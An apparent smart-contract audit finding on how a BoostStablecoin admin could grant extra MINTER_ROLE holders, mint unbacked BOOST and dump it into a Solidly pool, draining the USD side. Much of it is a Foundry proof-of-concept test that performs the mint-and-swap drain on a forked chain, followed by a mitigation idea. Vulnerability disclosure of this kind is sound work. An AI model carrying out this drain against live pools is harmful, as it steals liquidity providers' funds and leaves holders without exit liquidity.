Skip to content

Latest commit

 

History

History
258 lines (209 loc) · 10.1 KB

020.md

File metadata and controls

258 lines (209 loc) · 10.1 KB

Quiet Felt Orca

Medium

MINTER_ROLE can rug BoostStablecoin paired asset liquidity

Summary

While one can assume from looking at the contracts that the MINTER_ROLE assigned to BoostStablecoin will be the Minter smart contract, Open Zeppelin's AccessControlUpgradeable contract allows for multiple addresses to be set for a given role. This creates a situation where the admin, if misbehaving or compromised, can either override or add an additional address to the MINTER_ROLE and steal all stablecoins that are paired with BOOST across all DEXs including ones within the AXION ecosystem thus breaking the peg stability mechanism of the AMO and allowing price of BOOST fall to 0.

This occurs by the attacker minting a large amount of BOOST to their wallet and swapping immediately with a DEX. This allows the attacker to withdraw nearly all the stable paired liquidity in the pool, leaving all LPs with worthless LP tokens and all BOOST holders with no exit liquidity.

Root Cause

  • The ability to update or have multiple MINTER_ROLE users. As seen in BoostStablecoin.sol:51
  • The fact that BoostStablecoin minting can occur without collateral deposits outside of the AMO.

Internal pre-conditions

  1. Needs to be liquidity within the pool.
  2. Admin sets MINTER_ROLE to another contract besides Minter contract.

External pre-conditions

No response

Attack Path

  1. MINTER_ROLE mints an extremely large amount of BOOST to their account by calling BoostStablecoin::mint.
  2. MINTER_ROLE swaps all of their BOOST balance for the paired stable of the target liquidity pool.

Impact

  • Attacked BOOST/usd liquidity pool contains a near 0 amount of usd stable token and all the initial BOOST liquidity plus attackers BOOST.
  • Attacker has nearly all of the USD paired stablecoin in their wallet.
  • BOOST holder cannot swap back BOOST for usd.
  • BOOST price == 0

PoC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import "forge-std/Test.sol";
import {BoostStablecoin} from "../../contracts/BoostStablecoin.sol";
import {SolidlyV2AMO} from "../../contracts/SolidlyV2AMO.sol";
import {Minter} from "../../contracts/Minter.sol";
import {MockERC20} from "../../contracts/mock/MockERC20.sol";
import {ISolidlyRouter} from "../../contracts/interfaces/v2/ISolidlyRouter.sol";
import {IFactory} from "../../contracts/interfaces/v2/IFactory.sol";
import {IGauge} from "../../contracts/interfaces/v2/IGauge.sol";
import {IPair} from "../../contracts/interfaces/v2/IPair.sol";
import {ISolidlyV2GaugeFactory} from "./interfaces/ISolidlyV2GaugeFactory.sol";
import {ISolidlyV2BribeFactory} from "./interfaces/ISolidlyV2BribeFactory.sol";
import {Ive} from "./interfaces/Ive.sol";
import {IBribe} from "./interfaces/IBribe.sol";

import {TransparentUpgradeableProxy} from
    "../../node_modules/@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";

contract H1PocTest is Test {
    BoostStablecoin boost;
    SolidlyV2AMO solidlyV2AMO;
    Minter minter;
    MockERC20 usd;

    // Solidly v2 Contracts
    IFactory solidlyV2Factory;
    ISolidlyRouter solidlyV2Router;
    IPair solidlyV2Pair;
    ISolidlyV2GaugeFactory solidlyV2GaugeFactory;
    ISolidlyV2BribeFactory solidlyV2BribeFactory;
    IGauge solidlyV2Gauge;
    Ive ve;
    IBribe bribe;

    address admin = makeAddr("admin");
    address msig = makeAddr("msig");
    address treasury = makeAddr("treasury");
    address pauser = makeAddr("pauser");

    uint256 tokenId = 1;
    bool useTokenId = true;
    uint256 boostMultiplier = 1.1e6;
    uint24 validRangeWidth = 0.01e6;
    uint24 validRemovingRatio = 1.01e6;
    uint256 boostLowerPriceSell = 0.99e6;
    uint256 boostUpperPriceBuy = 1.01e6;
    uint256 boostSellRatio = 0.8e6;
    uint256 usdBuyRatio = 0.8e6;

    function setUp() public {
        string memory MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL");
        vm.createSelectFork(MAINNET_RPC_URL);
        vm.deal(admin, 1000 ether);

        usd = new MockERC20("USD", "USD", 6);

        boost = new BoostStablecoin();
        boost = BoostStablecoin(
            address(new TransparentUpgradeableProxy(address(boost), msig, abi.encodeCall(boost.initialize, (admin))))
        );
        vm.startPrank(admin);
        boost.grantRole(boost.PAUSER_ROLE(), admin);

        minter = new Minter();
        minter = Minter(
            address(
                new TransparentUpgradeableProxy(
                    address(minter),
                    msig,
                    abi.encodeCall(minter.initialize, (address(boost), address(usd), address(treasury)))
                )
            )
        );
        boost.grantRole(boost.MINTER_ROLE(), address(minter));
        boost.grantRole(boost.PAUSER_ROLE(), pauser);
        minter.grantRole(minter.MINTER_ROLE(), address(this));
        
        solidlyV2Factory = IFactory(0x777de5Fe8117cAAA7B44f396E93a401Cf5c9D4d6);
        solidlyV2Router = ISolidlyRouter(0x77784f96C936042A3ADB1dD29C91a55EB2A4219f);
        ve = Ive(0x77730ed992D286c53F3A0838232c3957dAeaaF73);
        solidlyV2BribeFactory = ISolidlyV2BribeFactory(0x2Dadc1f40eb0237BEc549862F9DEC002509ea381);
        bribe = IBribe(solidlyV2BribeFactory.createBribe());
        address pair = solidlyV2Factory.createPair(address(boost), address(usd), true);
        solidlyV2Pair = IPair(pair);

        address rewardVault = makeAddr("rewardVault");
        solidlyV2AMO = new SolidlyV2AMO();
        solidlyV2AMO = SolidlyV2AMO(
            address(
                new TransparentUpgradeableProxy(
                    address(solidlyV2AMO),
                    msig,
                    abi.encodeCall(
                        SolidlyV2AMO.initialize,
                        (
                            admin,
                            address(boost),
                            address(usd),
                            address(minter),
                            address(solidlyV2Router),
                            address(rewardVault),
                            address(rewardVault),
                            tokenId,
                            useTokenId,
                            boostMultiplier,
                            validRangeWidth,
                            validRemovingRatio,
                            boostLowerPriceSell,
                            boostUpperPriceBuy,
                            boostSellRatio,
                            usdBuyRatio
                        )
                    )
                )
            )
        );
        vm.stopPrank();
        _initLiquidity();
    }


    // Minter can inflate the token supply and rug LPs
    function testMinterRug() public {

        // User2 obtains BOOST stablecoin by swapping USD for BOOST within the Pool.
        address user2 = makeAddr("user2");
        usd.mint(user2, 100e6);
        vm.startPrank(user2);
        usd.approve(address(solidlyV2Router), 100e6);
        ISolidlyRouter.route[] memory path = new ISolidlyRouter.route[](1);
        path[0] = ISolidlyRouter.route({from: address(usd), to: address(boost), stable: true});

        uint256[] memory amounts = solidlyV2Router.swapExactTokensForTokens(
            100e6,
            0,
            path,
            user2,
            block.timestamp + 1 days
        );

        assertApproxEqRel(amounts[1], 100e18, 1e16);

        console2.log("Pool Balances After 1 lp & swap");
        console2.log("Pool USD balance: ", usd.balanceOf(address(solidlyV2Pair)));
        console2.log("Pool BOOST balance: ", boost.balanceOf(address(solidlyV2Pair)));

        // The attacker can now rug the pool
        vm.startPrank(admin);
        boost.grantRole(boost.MINTER_ROLE(), address(this));
        vm.stopPrank();

        console2.log("Permissioned attacker minting 100,000,000e18 BOOST...");
        boost.mint(address(this), 100_000_000e18);
        boost.approve(address(solidlyV2Router), boost.balanceOf(address(this)));

        console2.log("Attacker BOOST balance: ", boost.balanceOf(address(this)));
        console2.log("Attacker USD balance: ", usd.balanceOf(address(this)));
        
        ISolidlyRouter.route[] memory path2 = new ISolidlyRouter.route[](1);
        path2[0] = ISolidlyRouter.route({from: address(boost), to: address(usd), stable: true});

        console2.log("Attacker swapping all BOOST for USD...");
        solidlyV2Router.swapExactTokensForTokens(
            boost.balanceOf(address(this)),
            0,
            path2,
            address(this),
            block.timestamp + 1 days
        );

        console2.log("Attacker USD balance: ", usd.balanceOf(address(this)));
        console2.log("Pool USD balance: ", usd.balanceOf(address(solidlyV2Pair)));
        console2.log("Pool BOOST balance: ", boost.balanceOf(address(solidlyV2Pair)));
        console2.log("Price of BOOST: ", solidlyV2AMO.boostPrice());
        // revert("done");
    }

    function _initLiquidity() internal {
        address user = makeAddr("user");

        usd.mint(user, 100_000e6);

        vm.startPrank(address(minter));
        boost.mint(user, 100_000e18);
        vm.stopPrank();

        assertEq(boost.balanceOf(user), 100_000e18);
        assertEq(usd.balanceOf(user), 100_000e6);

        // Set up the initial liquidity pool
        vm.startPrank(user);
        boost.approve(address(solidlyV2Router), 100_000e18);
        usd.approve(address(solidlyV2Router), 100_000e6);
        // Provide liquidity directly to the POOL
        (uint256 boostAmount, uint256 usdAmount, uint256 liquidity) = solidlyV2Router.addLiquidity(
            address(boost),
            address(usd),
            true,
            100_000e18,
            100_000e6,
            100_000e18,
            100_000e6,
            user,
            block.timestamp + 1 days
        );
        
        assertEq(boostAmount, 100_000e18);
        assertEq(usdAmount, 100_000e6);
    }
}

Mitigation

  • Introduce a more trustless system for minting BOOST, perhaps by ditching the minter all together and having all mints occur directly through the AMO.